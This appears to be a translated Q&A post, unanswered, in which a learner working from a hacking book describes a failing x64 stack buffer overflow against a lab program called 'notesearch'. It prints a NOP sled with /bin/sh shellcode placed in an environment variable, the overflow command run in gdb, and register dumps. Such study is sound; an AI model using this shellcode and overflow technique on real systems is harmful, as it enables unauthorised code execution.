在x64中执行shellcode会导致分段错误

时间:2019-02-24 13:09:08

标签: c memory gdb x86-64 cpu-registers

我一直在尝试通过环境变量在计算机上执行Shellcode。我在这里:

[avaxio@parrot]─[~/Desktop/hax]
└──╼ $export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
┌─[avaxio@parrot]─[~/Desktop/hax]
└──╼ $echo $SHELLCODE
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1�1ə��̀j
                                                 XQh//shh/bin��Q��S��̀

然后我发现它在目标程序中的位置:

0x7fffae179437: "SHELLCODE=", '\220' <repeats 190 times>...
0x7fffae1794ff: "\220\220\220\220\220\220\220\220\220\220\061\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\343Q\211\342S\211\341̀"
0x7fffae17952d: "COLORTERM=truecolor"

之后,我试图通过将地址分配到输入中来引起缓冲区溢出。让我们看一下gdb的结果,因为那里的程序不起作用:

$sudo gdb -q ./notesearch
Reading symbols from ./notesearch...(no debugging symbols found)...done.
(gdb) run $(perl -e 'print "\x4f\x94\x17\xae\xff\x7f"'x20)
Starting program: /home/avaxio/Desktop/hax/notesearch $(perl -e 'print "\x4f\x94\x17\xae\xff\x7f"'x20)
[DEBUG] found a 2 byte note for user id 0
-------[ end of note data ]-------

Program received signal SIGSEGV, Segmentation fault.
0x0000564b323d4455 in main ()

现在,由于出现分段错误,我想查看寄存器的状态,所以我看:

    (gdb) i reg
    rax            0x0                 0
    rbx            0x0                 0
    rcx            0x7fd64a625ec4      140558347689668
    rdx            0x7fd64a6f88c0      140558348552384
    rsi            0x564b33d27260      94880991965792
    rdi            0x3                 3
    rbp            0x7fffae17944f7fff  0x7fffae17944f7fff
    rsp            0x7ffd7e9992a8      0x7ffd7e9992a8
    r8             0x7fd64a6fd500      140558348571904
    r9             0x5b2d2d2d2d2d2d2d  6569957103458135341
    r10            0x0                 0
    r11            0x246               582
    r12            0x564b323d4120      94880965411104
    r13            0x7ffd7e999380      140726727447424
    r14            0x0                 0
    r15            0x0                 0
    rip            0x564b323d4455      0x564b323d4455 <main+179>
    eflags         0x10207             [ CF PF IF RF ]
    cs             0x33                51
    ss             0x2b                43
    ds             0x0                 0
    es             0x0                 0
    fs             0x0                 0

如果我看一下基本指针,我会看到 rbp 0x 7fffae17944f 7fff 0x 7fffae17944f 7fff

这意味着脚本可以正常工作,但是寄存器有两个附加位。在我对该地址发送了20次垃圾邮件之后,结果发现地址的前两位正在溢出寄存器的后两位,这肯定会导致分段错误,因为在0x7fffae17944f7fff上没有数据。

我知道SHELLCODE变量的地址是0x7fffae1794 37 而不是0x7fffae1794 4f ,我只想更靠近NOP。我试图发送空字节,但事实证明,bash禁止发送空字节,而只是将其忽略。所以我想知道-是否可能对x64体系结构进行此类攻击?也许有一种方法可以使环境变量长8个字节而不是6个字节?或者,也许有一种方法可以在开始时发送空字节,所以我可以得到rbp值,例如0x00007fffae17944f?也许还有其他方法可以做到这一点?这样做只是为了学习,因为我正在从书中学习:)

0 个答案:

没有答案